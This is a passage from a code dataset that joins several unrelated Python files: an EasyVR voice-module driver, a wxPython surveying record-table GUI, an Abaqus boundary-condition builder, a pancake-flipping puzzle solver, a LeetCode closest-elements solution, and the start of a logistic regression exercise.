playMessageAsync(self, index, speed, atten):\r\n \"\"\"\r\n.. method:: playMessageAsync(index, speed, atten)\r\n\r\n Starts playback of a recorded message. Manually check for completion with :meth:`hasFinished()`.\r\n \r\n :param index: (0-31) is the index of the target message slot\r\n :param speed: (0-1) may be one of the values in MessageSpeed_\r\n :param atten: (0-3) may be one of the values in MessageAttenuation_\r\n \r\n :note: The module is busy until playback completes and it cannot \\\r\n accept other commands. You can interrupt playback with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_PLAY_RP)\r\n self._sendArg(-1)\r\n self._sendArg(index)\r\n self._sendArg((speed << 2) | (atten & 3))\r\n\r\n def eraseMessageAsync(self, index):\r\n \"\"\"\r\n.. method:: eraseMessageAsync(index)\r\n\r\n Erases a recorded message. Manually check for completion with :meth:`hasFinished()`.\r\n \r\n :param index: (0-31) is the index of the target message slot\r\n \"\"\"\r\n self._sendCmd(_CMD_ERASE_RP)\r\n self._sendArg(-1)\r\n self._sendArg(index)\r\n\r\n def dumpMessage(self, index):\r\n \"\"\"\r\n.. method:: dumpMessage(index)\r\n\r\n Retrieves the type and length of a recorded message\r\n \r\n :param index: (0-31) is the index of the target message slot\r\n\r\n :return: a tuple of the form (**type**, **length**)\r\n \r\n **type**\r\n (0,8) is an integer that holds the message format (see `MessageType`)\r\n \r\n **length**\r\n is an integer that holds the message length in bytes\r\n\r\n :note: The specified message may have errors. Use :meth:`getError()` when the \\\r\n function fails, to know the reason of the failure.\r\n \"\"\"\r\n self._sendCmd(_CMD_DUMP_RP)\r\n self._sendArg(-1)\r\n self._sendArg(index) \r\n sts = self._recv(EasyVR.STORAGE_TIMEOUT) \r\n if sts != _STS_MESSAGE:\r\n self._readStatus(sts)\r\n raise ValueError\r\n #if communication should fail\r\n self._status = 0\r\n self._status |= EasyVR._is_error\r\n msgType = self._recvArg() \r\n if msgType == 0:\r\n return # skip reading if empty\r\n length = 0\r\n for i in range(3): \r\n rx = self._recvArg() \r\n length |= (rx & 0x0F) << (i * 8)\r\n rx = self._recvArg() \r\n length |= ((rx << 4) & 0xF0) << (i * 8) \r\n self._status = 0\r\n return (msgType, length)\r\n\r\n def realtimeLipsync(self, threshold, timeout):\r\n \"\"\"\r\n.. method:: realtimeLipsync(threshold, timeout)\r\n\r\n Starts real-time lip-sync on the input voice signal.\r\n Retrieve output values with :meth:`fetchMouthPosition()` or abort with :meth:`stop()`.\r\n \r\n :param threshold: (0-1023) is a measure of the strength of the input signal \\\r\n below which the mouth is considered to be closed (see LipsyncThreshold_, \\\r\n adjust based on microphone settings, distance and background noise)\r\n :param timeout: (0-255) is the maximum duration of the function in seconds, \\\r\n 0 means infinite\r\n \"\"\"\r\n self._sendCmd(_CMD_LIPSYNC)\r\n self._sendArg(-1)\r\n self._sendArg((threshold >> 5) & 0x1F)\r\n self._sendArg(threshold & 0x1F)\r\n self._sendArg((timeout >> 4) & 0x0F)\r\n self._sendArg(timeout & 0x0F)\r\n sts = self._recv(EasyVR.DEF_TIMEOUT)\r\n if sts != _STS_LIPSYNC:\r\n self._readStatus(sts)\r\n raise ValueError\r\n\r\n def fetchMouthPosition(self):\r\n \"\"\"\r\n.. method:: fetchMouthPosition()\r\n\r\n Retrieves the current mouth opening position during lip-sync.\r\n \r\n :return: (0-31) is the current mouth opening position, \\\r\n (-1) if lip-sync has finished\r\n \"\"\"\r\n self._send(_ARG_ACK)\r\n rx = self._recv(EasyVR.DEF_TIMEOUT)[0]\r\n if rx >= _ARG_MIN and rx <= _ARG_MAX:\r\n return rx - _ARG_ZERO \r\n # check if finished\r\n if rx != _STS_SUCCESS:\r\n self.readStatus(rx)\r\n raise ValueError\r\n return -1\r\n\r\n def exportCommand(self, group, index):\r\n \"\"\"\r\n.. method:: exportCommand(group, index)\r\n\r\n Retrieves all internal data associated to a custom command.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n\r\n :return: an array of 258 bytes that holds the command raw data\r\n \"\"\"\r\n self._sendCmd(_CMD_SERVICE)\r\n self._sendArg(ord(_SVC_EXPORT_SD) - _ARG_ZERO)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n data = bytearray(258)\r\n if self._recv(EasyVR.STORAGE_TIMEOUT) != _STS_SERVICE:\r\n raise ValueError\r\n rx = self._recvArg()\r\n if rx != ord(_SVC_DUMP_SD) - _ARG_ZERO:\r\n raise ValueError\r\n for i in range(258):\r\n d = 0\r\n rx = self._recvArg()\r\n d = (rx << 4) & 0xF0\r\n rx = self._recvArg()\r\n d |= (rx & 0x0F)\r\n data[i] = d\r\n return data\r\n\r\n def importCommand(self, group, index, data):\r\n \"\"\"\r\n.. method:: importCommand(group, index, data)\r\n\r\n Overwrites all internal data associated to a custom command.\r\n When commands are imported this way, their training should be tested again\r\n with :meth:`verifyCommand()`\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n :param data: an array of 258 bytes that holds the command raw data\r\n \"\"\"\r\n self._sendCmd(_CMD_SERVICE)\r\n self._sendArg(ord(_SVC_IMPORT_SD) - _ARG_ZERO)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n for i in range(258):\r\n tx = (data[i] >> 4) & 0x0F\r\n self._sendArg(tx)\r\n tx = data[i] & 0x0F\r\n self._sendArg(tx)\r\n if self._recv(EasyVR.STORAGE_TIMEOUT) != _STS_SUCCESS:\r\n raise ValueError\r\n\r\n def verifyCommand(self, group, index):\r\n \"\"\"\r\n.. method:: verifyCommand(group, index)\r\n\r\n Verifies training of a custom command (useful after import).\r\n Similarly to :meth:`trainCommand()`, you should check results after :meth:`hasFinished()`\r\n returns true\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \"\"\"\r\n self._sendCmd(_CMD_SERVICE)\r\n self._sendArg(ord(_SVC_VERIFY_SD) - _ARG_ZERO)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n","sub_path":"easyvr.py","file_name":"easyvr.py","file_ext":"py","file_size_in_byte":73161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"167256771","text":"'''用于创建一个窗口界面'''\n# import #####################################################\n\nimport myvar\n\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg\n\n\n# 函数 #######################################################\n\n# 辅助类 定义 #################################################\nw1=50#列宽1\nw2=120#列宽1\nbw = -3 #边框距离\n观测记录 = {'测站': 'O',\n '目标_后视': 'H',\n '目标_前视': 'Q',\n '盘左_后视': 'LH',\n '盘右_后视': 'RH',\n '盘左_前视': '0',\n '盘右_前视': '0',\n '2C_盘左': '0',\n '2C_盘右': '0',\n '半测回_盘左': '0',\n '半测回_盘右': '0',\n '一测回角度': '0'}\ndef textctrl(panel, mystr,width=110):\n return wx.TextCtrl(panel, value=mystr,size=(width,25) ,style= wx.TE_CENTER)\n\nclass 角度观测记录表(object):\n '''角度观测记录表'''\n\n def __init__(self, grid, panel, 记录=观测记录):\n '''000'''\n self.标题 = wx.TextCtrl(panel, -1, \"导线观测记录表\", style=wx.TE_READONLY)\n\n # 测站 目标 盘左 盘右 2c 半测回 1测回\n self.测站 = textctrl(panel, '测站',w1)\n self.目标 = textctrl(panel, '目标',w1)\n self.读数 =textctrl(panel, '观测读数', w2)\n self.盘左 = textctrl(panel, '盘左', w2)\n self.盘右 = textctrl(panel, '盘右', w2)\n self.C2 = textctrl(panel, '2C', w1)\n self.半测回 =textctrl(panel, '半测回角度',w2)\n self.一测回 =textctrl(panel, '一测回角度',w2)\n\n grid.Add(self.测站, pos=(1, 0), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.目标, pos=(1, 1), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.读数, pos=(1, 2), span=(1, 2),\n flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.盘左, pos=(2, 2), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.盘右, pos=(2, 3), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.C2, pos=(1, 4), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.半测回, pos=(1, 5), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.一测回, pos=(1, 6), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.标题, pos=(0, 0), span=(1, myvar.导线边数),flag=wx.ALL | wx.EXPAND,border=bw)\n self.jdds = [] # 角度读数\n for i in range(myvar.导线边数):\n self.jdds.append(jd(grid, panel, 3+i*2, 记录))\n\nclass jd(object):\n '''一测站观测记录'''\n\n def __init__(self, grid, panel, x, 记录: dict = 观测记录):\n self.测站 = textctrl(panel, 记录[\"测站\"], w1)\n self.目标_后视 = textctrl(panel, 记录['目标_后视'], w1)\n self.目标_前视 = textctrl( panel, 记录['目标_前视'], w1)\n self.盘左_后视 = textctrl(panel,记录['盘左_后视'], w2)\n self.盘右_后视 = textctrl(panel,记录['盘右_后视'], w2)\n self.盘左_前视 = textctrl(panel,记录['盘左_前视'], w2)\n self.盘右_前视 = textctrl(panel,记录['盘右_前视'], w2)\n self.C2_盘左 = textctrl( panel, 记录['2C_盘左'], w1)\n self.C2_盘右 = textctrl( panel, 记录['2C_盘右'], w1)\n self.半测回_盘左 =textctrl(panel,记录['半测回_盘左'], w2)\n self.半测回_盘右=textctrl(panel,记录['半测回_盘右'], w2)\n self.一测回角度 =textctrl(panel,记录['一测回角度'], w2)\n #bw = -3\n grid.Add(self.测站, pos=(x, 0), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.目标_后视, pos=(x, 1), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.目标_前视, pos=(x+1, 1), flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.盘左_后视, pos=(x, 2), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.盘右_后视, pos=(x, 3), flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.盘左_前视, pos=(x+1, 2), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.盘右_前视, pos=(x+1, 3), flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.C2_盘左, pos=(x, 4), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.C2_盘右, pos=(x+1, 4), flag=wx.ALL | wx.EXPAND, border=bw)\n\n grid.Add(self.半测回_盘左, pos=(x, 5), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.半测回_盘右, pos=(x+1, 5), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.一测回角度, pos=(x, 6), span=(2, 1),\n flag=wx.ALL | wx.EXPAND, border=bw)\n\n\n边长读数 = ['边名', '边长1', '边长2', '边长3', '边长4', '平均边长']\n\n\nclass bian(object):\n def __init__(self, grid, panel, x, y, 边长读数=边长读数):\n self.边名 = textctrl(panel, 边长读数[0])\n print('bian',self.边名.Size)\n self.边长 = [textctrl(panel, 边长读数[1]),\n textctrl(panel, 边长读数[2]),\n textctrl(panel, 边长读数[3]),\n textctrl(panel, 边长读数[4])]\n self.平均边长 = textctrl(panel, 边长读数[5])\n bw = -3\n grid.Add(self.边名, pos=(x+0, y), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.边长[0], pos=(x+1, y), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.边长[1], pos=(x+2, y), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.边长[2], pos=(x+3, y), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.边长[3], pos=(x+4, y), flag=wx.ALL | wx.EXPAND, border=bw)\n grid.Add(self.平均边长, pos=(x+5, y), flag=wx.ALL | wx.EXPAND, border=bw)\n\nclass bian_table(object):\n def __init__(self, grid, panel):\n self.bcds = [] # 边长读数\n tc = wx.TextCtrl(panel, -1, ' 导线边长记录表', style=wx.TE_READONLY)\n grid.Add(tc, pos=(0, 0), span=(1, myvar.导线边数),\n flag=wx.ALL | wx.EXPAND, border=-5)\n for i in range(myvar.导线边数):\n self.bcds.append(bian(grid, panel, 1, i, 边长读数))\n# 主界面定义 ###################################################\n\nclass 平差表(object):\n def __init__(self, grid, panel, x, y, mystr='test-str'):\n for i in range(12):\n for j in range(15):\n grid.Add(wx.TextCtrl(panel, -1, mystr +\n str(i)+'-'+str(j)), pos=(i, j))\n\nclass MyWindows(wx.Frame):\n\n def __init__(self):\n ''' 构造函数\\n\n GridBagSizer : 子构件可被添加到网格中的特定单元.\\n\n 一个子物件可以在水平和/或垂直地占据一个以上的单元.\\n\n 主要使用方法 : Wx.GridbagSizer().Add(control, pos, span, flags, border) \\n\n control : 控件 \\n\n pos : 控件位置,第几行第几列,从0开始\\n\n span : 控件跨越的行数和列数\\n'''\n self.w1 = 1000 # 窗口宽度\n self.h1 = 800 # 窗口高度\n self.size4_h = 300\n self.size3_w = 300\n self.size2_h = 200\n\n super(MyWindows, self).__init__(None, size=(self.w1, self.h1))\n self.SetTitle('导线测量模拟题')\n #\n print('step 01')\n self.菜单栏()\n print('step 01.5')\n self.split_window()\n print('step 02')\n #\n #self.Bind(wx.EVT_PAINT, self.OnPaint)\n\n self.Center()\n self.Show()\n self.test()\n self.d2()\n def split_window(self):\n '''把面板分割为4个区域,分别设置每个区域内容'''\n # 分离器对象添加到顶层帧。\n # 一个布局管理器,拥有两个子窗口,子窗口大小可以通过拖动它们之间的界限来动态变化。\n\n self.__splitter1 = wx.SplitterWindow(\n self, style=wx.SP_3DBORDER, size=self.size0()) # 把面板分为123和4\n self.panel4 = wx.ScrolledWindow(\n self.__splitter1, style=wx.SB_HORIZONTAL)\n self.panel123 = wx.Panel(self.__splitter1, style=wx.SB_HORIZONTAL)\n self.__splitter1.SplitHorizontally(\n self.panel123, self.panel4, self.sp2size()[1]) # 上窗口,下窗口分割线位置\n\n self.__splitter2 = wx.SplitterWindow(\n self.panel123, style=wx.SP_3D,size=self.sp2size()) # 把面板分为12和3\n self.panel3 = wx.Panel(self.__splitter2, style=wx.SB_HORIZONTAL)\n self.panel12 = wx.Panel(self.__splitter2, style=wx.SB_HORIZONTAL)\n self.__splitter2.SplitVertically(\n self.panel12, self.panel3, self.sp3size()[0])\n\n self.__splitter3 = wx.SplitterWindow(\n self.panel12, -1, style=wx.SP_BORDER,size=self.sp3size()) # 把面板分为1和2\n self.panel1 = wx.ScrolledWindow(self.__splitter3, style=wx.SB_VERTICAL)\n self.panel2 = wx.ScrolledWindow(self.__splitter3, style=wx.SB_VERTICAL)\n self.__splitter3.SplitHorizontally(\n self.panel1, self.panel2, self.size1()[1])\n\n print('panelsize', self.panel1.Size)\n print('panel4size', self.panel4.Size)\n self.panel1_set()\n self.panel2_set()\n self.panel3_set()\n self.panel4_set()\n self.Bind(wx.EVT_SPLITTER_SASH_POS_CHANGING,\n self.change, self.__splitter1)\n self.Bind(wx.EVT_SPLITTER_SASH_POS_CHANGING,\n self.change, self.__splitter2)\n self.Bind(wx.EVT_SPLITTER_SASH_POS_CHANGING,\n self.change, self.__splitter3)\n print('split_window end')\n def panel1_set(self):\n '''设置1号区域的内容。1号区域为导线角度观测记录表'''\n self.panel1.SetScrollbars(1, 1, 400, 400) # 窗口或区域尺寸变动数字无需修改\n self.grid1 = wx.GridBagSizer(vgap=5, hgap=5)\n self.角度观测记录表 = 角度观测记录表(self.grid1, self.panel1)\n # 结束\n self.panel1.SetSizerAndFit(self.grid1)\n self.panel1.SetSize(self.size1())\n\n def panel2_set(self):\n '''设置panel2的控件'''\n #self.panel2 = wx.ScrolledWindow(self.__splitter3, style=wx.SB_VERTICAL)\n self.panel2.SetScrollbars(1, 1, 400, 400)\n # 添加控件#\n self.grid2 = wx.GridBagSizer(6, 5)\n self.panel2_ctrls = bian_table(self.grid2, self.panel2)\n # 结束\n self.panel2.SetSizerAndFit(self.grid2)\n self.panel2.SetSize(self.size2())\n def panel3_set(self, mystr='test123456789'):\n self.grid3 =wx.GridBagSizer(vgap=5, hgap=5)\n # 添加控件#\n self.rb1 = wx.RadioButton(self.panel3, label='样式1')\n self.rb2 = wx.RadioButton(self.panel3, label='样式2')\n self.grid3.Add(self.rb1, pos=(0, 0))\n self.grid3.Add(self.rb2, pos=(0, 1))\n\n self.bt1 = wx.Button(self.panel3, label=mystr)\n self.grid3.Add(self.bt1, pos=(9,0),border= 5)\n self.bt2 = wx.Button(self.panel3, label=mystr+'-2', style=wx.EXPAND)\n self.grid3.Add(self.bt2, pos=(9,1))\n\n #self.d2()\n self.panel3.SetSizerAndFit(self.grid3)\n self.panel3.SetSize(self.size3())\n print('panel3', self.panel3.Size)\n\n def panel4_set(self):\n '''8y7test'''\n def draw():\n dc = wx.WindowDC(self.panel4)\n brush = wx.Brush(\"white\")\n dc.SetBackground(brush)\n #dc.Clear()\n print('dc')\n pen = wx.Pen(wx.Colour(0,0,255))\n dc.SetPen(pen)\n dc.DrawLine(100,50,350,50)\n dc.SetBrush(wx.Brush(wx.Colour(0,255,0), wx.CROSS_HATCH))\n dc.DrawRectangle(100, 100, 500, 600)\n\n\n self.panel4.SetScrollbars(1, 1, 400, 400) # 窗口或区域尺寸变动数字无需修改\n self.grid4 = wx.GridBagSizer(5, 5)\n self.平差表 = 平差表(self.grid4, self.panel4, 0, 0)\n #self.panel4.SetSizer(self.grid4)\n self.panel4.SetSizerAndFit(self.grid4)\n self.panel4.SetSize(self.size4())\n\n def OnPaint(self, event):\n dc = wx.PaintDC(self)\n brush = wx.Brush(\"white\")\n dc.SetBackground(brush)\n dc.Clear()\n\n # dc.DrawBitmap(wx.Bitmap(\"python.jpg\"),10,10,True)\n color = wx.Colour(255,0,0)\n b = wx.Brush(color)\n\n dc.SetBrush(b)\n dc.DrawCircle(300,125,50)\n dc.SetBrush(wx.Brush(wx.Colour(255,255,255)))\n dc.DrawCircle(300,125,30)\n\n font = wx.Font(18, wx.ROMAN, wx.ITALIC, wx.NORMAL)\n dc.SetFont(font)\n dc.DrawText(\"Hello wxPython\",200,10)\n\n pen = wx.Pen(wx.Colour(0,0,255))\n dc.SetPen(pen)\n dc.DrawLine(200,50,350,50)\n dc.SetBrush(wx.Brush(wx.Colour(0,255,0), wx.CROSS_HATCH))\n dc.DrawRectangle(380, 15, 90, 60)\n\n def d2(self):\n #self.panel = wx.Panel(self)\n # subplots默认返回一个Figure和一行一列的子图对象\n self.fig=Figure()\n self.axe = self.fig.add_subplot(111)\n # 使用FigureCanvasWxAgg来创建Figure的背景画布\n self.canvas = FigureCanvasWxAgg(self.panel3, -1, self.fig)\n #print('000',doc(self.grid3.GetItem()))\n self.grid3.Add(self.canvas,pos=(3,0))\n # 绘制一条普通的折线图\n self.x_data = [1, 2, 4,3,4,5,6,7,8,9]\n self.y_data = [2, 5, 1,5,9,8,6,4,8,1]\n self.axe.plot(self.x_data, self.y_data)\n print('d2 end')\n\n def 菜单栏(self):\n '''设置菜单栏'''\n menubar = wx.MenuBar()\n # 文件菜单#####################################################\n fileMenu = wx.Menu()\n newitem = wx.MenuItem(fileMenu, wx.ID_NEW,\n text=\"New\", kind=wx.ITEM_NORMAL)\n # newitem.SetBitmap(wx.Bitmap(\"new.bmp\"))\n fileMenu.AppendItem(newitem)\n\n fileMenu.AppendSeparator()\n\n editMenu = wx.Menu()\n copyItem = wx.MenuItem(editMenu, 100, text=\"copy\", kind=wx.ITEM_NORMAL)\n # copyItem.SetBitmap(wx.Bitmap(\"copy.bmp\"))\n\n editMenu.AppendItem(copyItem)\n cutItem = wx.MenuItem(editMenu, 101, text=\"cut\", kind=wx.ITEM_NORMAL)\n # cutItem.SetBitmap(wx.Bitmap(\"cut.bmp\"))\n\n editMenu.AppendItem(cutItem)\n pasteItem = wx.MenuItem(\n editMenu, 102, text=\"paste\", kind=wx.ITEM_NORMAL)\n # pasteItem.SetBitmap(wx.Bitmap(\"paste.bmp\"))\n\n editMenu.AppendItem(pasteItem)\n fileMenu.AppendMenu(wx.ID_ANY, \"Edit\", editMenu)\n fileMenu.AppendSeparator()\n\n radio1 = wx.MenuItem(fileMenu, 200, text=\"Radio1\", kind=wx.ITEM_RADIO)\n radio2 = wx.MenuItem(fileMenu, 300, text=\"radio2\", kind=wx.ITEM_RADIO)\n\n fileMenu.AppendItem(radio1)\n fileMenu.AppendItem(radio2)\n fileMenu.AppendSeparator()\n\n fileMenu.AppendCheckItem(103, \"Checkable\")\n quit = wx.MenuItem(fileMenu, wx.ID_EXIT, '&Quit\\tCtrl+Q')\n\n fileMenu.AppendItem(quit)\n menubar.Append(fileMenu, 'File000')\n # 配置菜单 #####################################################\n Menu_setting = wx.Menu()\n self.Bind(wx.EVT_MENU, self.menuhandler)\n\n menubar.Append(Menu_setting, '配置')\n # 导出菜单 #####################################################\n Menu_out = wx.Menu()\n self.Bind(wx.EVT_MENU, self.menuhandler)\n\n menubar.Append(Menu_out, '导出')\n # 导入菜单 #####################################################\n Menu_in = wx.Menu()\n self.Bind(wx.EVT_MENU, self.menuhandler)\n\n menubar.Append(Menu_in, '导入')\n # 工具菜单 #####################################################\n Menu_tool = wx.Menu()\n self.Bind(wx.EVT_MENU, self.menuhandler)\n\n menubar.Append(Menu_tool, '工具')\n # 关于菜单 #####################################################\n\n Menu_abort = wx.Menu()\n self.Bind(wx.EVT_MENU, self.menuhandler)\n\n menubar.Append(Menu_abort, '关于')\n ######################################################\n self.SetMenuBar(menubar)\n\n def menuhandler(self, event):\n id = event.GetId()\n if id == wx.ID_NEW:\n self.text.AppendText(\"new\"+\"\\n\")\n\n def change(self, event):\n def p(ct, cstr=\"\"):\n try:\n print(cstr, ct.Size)\n except:\n print(cstr, '不存在')\n print('++'*9)\n p(self.panel1, 'panel1')\n p(self.panel2, 'panel2')\n p(self.panel3, 'panel3')\n p(self.panel12, 'panel12')\n p(self.panel4, 'panel4')\n p(self.panel123, 'panel123')\n p(self.__splitter1, 's1')\n p(self.__splitter2, 's2')\n p(self.__splitter3, 's3')\n print(self.Size)\n # self.setsize()\n def test(self):\n def p(ct, cstr=\"\",sstr=''):\n try:\n print(cstr, sstr,ct.Size)\n except:\n print(cstr, '不存在')\n print('--'*9)\n p(self.panel1, 'panel1',self.size1())\n p(self.panel2, 'panel2',self.size2())\n p(self.panel3, 'panel3',self.size3())\n p(self.panel12, 'panel12',self.sp3size())\n p(self.panel4, 'panel4',self.size4())\n p(self.panel123, 'panel123',self.sp2size())\n p(self.__splitter1, 's1',self.size0())\n p(self.__splitter2, 's2',self.sp2size())\n p(self.__splitter3, 's3',self.sp3size())\n print(self.Size)\n def setsize(self):\n self.__splitter2.SetSize(sp2size())\n self.__splitter3.SetSize(sp3size())\n self.panel1.SetSize(size1())\n self.panel2.SetSize(size2())\n self.panel3.SetSize(size3())\n self.panel4.SetSize(size4())\n self.panel12.SetSize(sp3size())\n self.panel123.SetSize(sp2size())\n pass\n\n def size0(self): return (self.Size[0]-16, self.Size[1]-39-20)\n def size4(self): return (self.size0()[0], self.size4_h)\n def size3(self): return (self.size3_w, self.size0()[1]-self.size4()[1])\n def size2(self): return (self.size0()[0]-self.size3()[0], self.size2_h)\n def size1(self): return (\n self.size0()[0]-self.size3()[0], self.size3()[1]-self.size2()[1])\n def sp2size(self): return (\n self.size0()[0], self.size0()[1]-self.size4()[1])\n def sp3size(self): return (\n self.size0()[0]-self.size3()[0], self.size0()[1]-self.size4()[1])\n\n\n# 运行程序 #####################################################\napp = wx.App()\nprint('step 1')\nwindow = MyWindows()\nprint('step 2')\nwindow.Show(True)\nprint('step 3')\napp.MainLoop()\nprint('step 4')\n","sub_path":"资产管理/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":18512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"160240573","text":"from abaqus import *\nfrom abaqusConstants import *\n\nfrom src.builders import *\nfrom src.builders.base_builder import BaseBuilder\n\n\nclass BorderConditionsBuilder(BaseBuilder):\n def __init__(self):\n super(BorderConditionsBuilder, self).__init__()\n self._required_arguments = [\n FIXED_GRIP_SET,\n MOVABLE_GRIP_SET,\n MODEL_NAME,\n ASSEMBLY_NAME,\n STEP_NAME,\n GRIP_DISPLACEMENT\n ]\n self._provided_arguments = [\n ENCASTRE_BC,\n DISPLACEMENT_BC\n ]\n\n def _build(self, **kwargs):\n encastre_bc = 'Encastre_BC'\n displacement_bc = 'Displacement_BC'\n model_name = kwargs[MODEL_NAME]\n assembly_name = kwargs[ASSEMBLY_NAME]\n fixed_grip_set = kwargs[FIXED_GRIP_SET]\n movable_grip_set = kwargs[MOVABLE_GRIP_SET]\n step_name = kwargs[STEP_NAME]\n grip_displacement = kwargs[GRIP_DISPLACEMENT]\n\n self.__create_encastre_bc(model_name, assembly_name, fixed_grip_set, encastre_bc)\n self.__create_displacement_bc(model_name, assembly_name, movable_grip_set, displacement_bc, grip_displacement,\n step_name)\n\n self._provided_arguments_dict = {\n ENCASTRE_BC: encastre_bc,\n DISPLACEMENT_BC: displacement_bc\n }\n\n @staticmethod\n def __create_encastre_bc(model_name, assembly_name, fixed_grip_set, encastre_bc):\n root_assembly = mdb.models[model_name].rootAssembly\n region = root_assembly.instances[assembly_name].sets[fixed_grip_set]\n mdb.models[model_name].EncastreBC(name=encastre_bc, createStepName=INITIAL_STEP, region=region, localCsys=None)\n\n @staticmethod\n def __create_displacement_bc(model_name, assembly_name, movable_grip_set, displacement_bc, grip_displacement,\n step_name):\n amplitude_name = 'Tabular_linear_amp'\n root_assembly = mdb.models[model_name].rootAssembly\n region = root_assembly.instances[assembly_name].sets[movable_grip_set]\n mdb.models[model_name].DisplacementBC(name=displacement_bc, createStepName=INITIAL_STEP,\n region=region, u1=SET, u2=SET, ur3=SET, amplitude=UNSET,\n distributionType=UNIFORM, fieldName='', localCsys=None)\n mdb.models[model_name].TabularAmplitude(name=amplitude_name, timeSpan=STEP,\n smooth=SOLVER_DEFAULT, data=((0.0, 0.0), (1.0, 1.0)))\n mdb.models[model_name].boundaryConditions[displacement_bc].setValuesInStep(stepName=step_name,\n u2=grip_displacement)\n","sub_path":"src/builders/border_conditions_builder.py","file_name":"border_conditions_builder.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"228007637","text":"#!/usr/bin/env python\n\nimport sys\n\n\ndef handle_case(case, k):\n case_arr = map(lambda x: x == '+', list(case))\n count = 0\n length = len(case_arr)\n while True:\n first_false_idx = next((i for i, v in enumerate(case_arr) if not v), -1)\n if first_false_idx == -1:\n return count\n if first_false_idx + k <= length:\n for i in range(first_false_idx, first_false_idx + k):\n case_arr[i] = not case_arr[i]\n count = count + 1\n else: \n return 'IMPOSSIBLE'\n\n\nwith open(sys.argv[1], 'r') as my_file:\n first = True\n num_lines = 0\n count = 1\n for line in my_file:\n if first:\n first = False\n num_lines = int(first)\n else :\n [case, k] = line.split(' ')\n print('Case #%d: %s' % (count, str(handle_case(case, int(k.strip())))))\n count = count + 1\n","sub_path":"solutions_python/Problem_199/2052.py","file_name":"2052.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"99715530","text":"# class Solution:\n# def findClosestElements(self, arr: List[int], k: int, x: int) -> List[int]:\n# # O(n) Solution\n# left = 0\n# right = len(arr) - 1\n#\n# while right - left + 1 > k:\n#\n# if abs(arr[left] - x) > abs(arr[right] - x):\n# left += 1\n#\n# else:\n# right -= 1\n#\n# return arr[left: right + 1]\n\n\nclass Solution:\n def findClosestElements(self, arr: List[int], k: int, x: int) -> List[int]:\n\n # approach: use binary search to find the start which is closest to x\n\n left = 0\n right = len(arr) - k\n\n while left < right:\n mid = left + (right - left) // 2\n\n # mid + k is closer to x, discard mid by assigning left = mid + 1\n if x - arr[mid] > arr[mid + k] - x:\n left = mid + 1\n\n # mid is equal or closer to x than mid + k, remains mid as candidate\n else:\n right = mid\n\n # left == right, which makes both left and left + k have same diff with x\n return arr[left: left + k]\n","sub_path":"658_Find_K_Closest_Elements.py","file_name":"658_Find_K_Closest_Elements.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"590051229","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport scipy.optimize as op\nfrom ml_utils import *\n\n\ndef gradient(theta, X, Y):\n m = len(Y)\n h = sigmoid(np.dot(X, theta))\n grad = 1 / m * (np.dot(X.T, h - Y))\n return grad\n\ndef costFunction(theta, X, Y):\n m = len(Y)\n h = sigmoid(np.dot(X, theta))\n J = 1 / m * (np.dot(-Y.T, np.log(h)) - np.dot((1 - Y).T, np.log(1 - h)))\n #grad = 1 / m * (np.dot(X.T, h - Y))\n return J\n\n\ndef plotDecicionBoundary(theta, X, Y):\n if X.shape[1] <= 3:\n plot_x = np.array([min(X[:, 0] - 2), max(X[:, 1]) + 2])\n print(plot_x)\n print(theta[1])\n print(theta[1] * plot_x)\n print(theta[1] * plot_x + theta[0])\n plot_y = (-1./theta[2]) * (theta[1] * plot_x + theta[0])\n plt.plot(plot_x, plot_y)\n plt.axis([30, 100, 30, 100])\n\nnames = ['exam1 score', 'exam2 score', 'predict']\ndata = pd.read_csv('ex2data1.txt', sep=',', names=names)\ndata = data.values\nm = len(data)\nX = data[:, 0:2]\nX = np.c_[np.ones(m), X]\nY = data[:, 2]\ntest_theta = 